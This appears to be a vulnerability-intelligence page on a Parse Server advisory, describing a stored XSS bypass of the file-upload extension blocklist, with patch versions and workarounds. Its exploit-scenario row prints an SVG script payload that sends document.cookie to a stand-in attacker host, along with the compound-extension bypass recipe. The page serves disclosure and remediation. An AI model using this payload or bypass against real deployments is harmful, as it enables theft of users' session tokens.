EUVD-2026-42414
GHSA-v8x7-r927-cc93
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Requires authenticated upload (PR:L) and victim must open file URL (UI:R); XSS executes in victim browser session crossing scope boundary (S:C) with no server-side confidentiality or availability impact.
Primary rating from Vendor (https://github.com/parse-community/parse-server).
CVSS VectorVendor: https://github.com/parse-community/parse-server
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Impact
Parse Server's default fileUpload.fileExtensions blocklist is intended to prevent uploading files that browsers render as active content (such as HTML and SVG), which can be used to perform stored cross-site scripting (XSS) attacks against other users. The blocklist could be bypassed by uploading a file whose extension is not an exact match of a blocked extension (for example a non-standard or compound extension) together with a dangerous content type. On storage adapters that persist and serve the uploaded content type (such as S3 and GCS), the file is then served with the attacker-supplied content type, enabling stored XSS against users who open the file URL.
This affects the default configuration, in which authenticated users are allowed to upload files. The default GridFS/filesystem adapter sets the X-Content-Type-Options: nosniff response header, which mitigates browser rendering on that adapter, but the upload restriction itself is still bypassed. This is an incomplete-fix follow-up of GHSA-vr5f-2r24-w5hc and GHSA-7wqv-xjf3-x35v.
Patches
The file upload extension validation now also evaluates the request content type against the configured blocklist whenever the filename's extension is not a recognized type. As a result, a dangerous content type can no longer be preserved by uploading a file with a non-standard extension, and such uploads are rejected.
Workarounds
Configure fileUpload.fileExtensions as a strict allowlist of only the file extensions your application needs (for example ["^(png|jpe?g|gif|pdf)$"]) instead of relying on the default blocklist. Additionally, serve uploaded files from a separate domain than the application, so that any executed content is isolated from the application's origin.
AnalysisAI
Stored XSS in Parse Server's file upload handler enables authenticated users to bypass the fileUpload.fileExtensions blocklist by pairing a non-standard or compound filename extension (e.g., malicious.svg~, malicious.html.bak) with a dangerous Content-Type header such as image/svg+xml or text/html. On S3 and GCS storage adapters, which persist and serve the client-supplied Content-Type, the uploaded file is subsequently delivered to browsers with attacker-controlled content, executing arbitrary JavaScript against any victim who opens the file URL. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires all of the following: (1) Parse Server is operating under its default file upload configuration in which authenticated users are permitted to upload files - deployments that have disabled file uploads entirely are not affected; (2) the deployment uses an S3 or GCS storage adapter, which preserves and serves the client-supplied Content-Type header - the default GridFS and local filesystem adapter are not exploitable for browser-rendered XSS due to the `X-Content-Type-Options: nosniff` response header, though the upload restriction bypass still succeeds on those adapters; (3) the attacker holds at minimum a valid low-privilege user authentication credential sufficient to perform a file upload request; (4) at least one victim user must navigate to the URL of the uploaded file (stored XSS, requires active user interaction). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No official CVSS score has been assigned by NVD or the vendor at time of analysis, so all severity signals are independently assessed. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated attacker uploads an SVG file containing `<svg xmlns='http://www.w3.org/2000/svg'><script>fetch('https://attacker.example/steal?c='+document.cookie)</script></svg>`, naming it `malicious.svg~` and setting the HTTP Content-Type header to `image/svg+xml`; because `~` is not recognized by the `mime` library, the blocklist check is bypassed and the file is stored on S3 with the attacker-supplied content type. The attacker then shares the resulting S3 file URL with target users - for example embedding it in a Parse Server object or chat message - and when a victim opens the URL, their browser renders it as SVG and the script executes, exfiltrating session tokens to the attacker's server. … |
| Remediation | Upgrade Parse Server to version 8.6.81 (for the 8.x release line) or 9.9.1-alpha.11 (for the 9.x release line); both versions extend blocklist validation to check the Content-Type subtype whenever the `mime` library does not recognize the filename extension, closing the compound-extension bypass. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same technique File Upload
View allShare
External POC / Exploit Code
Leaving vuln.today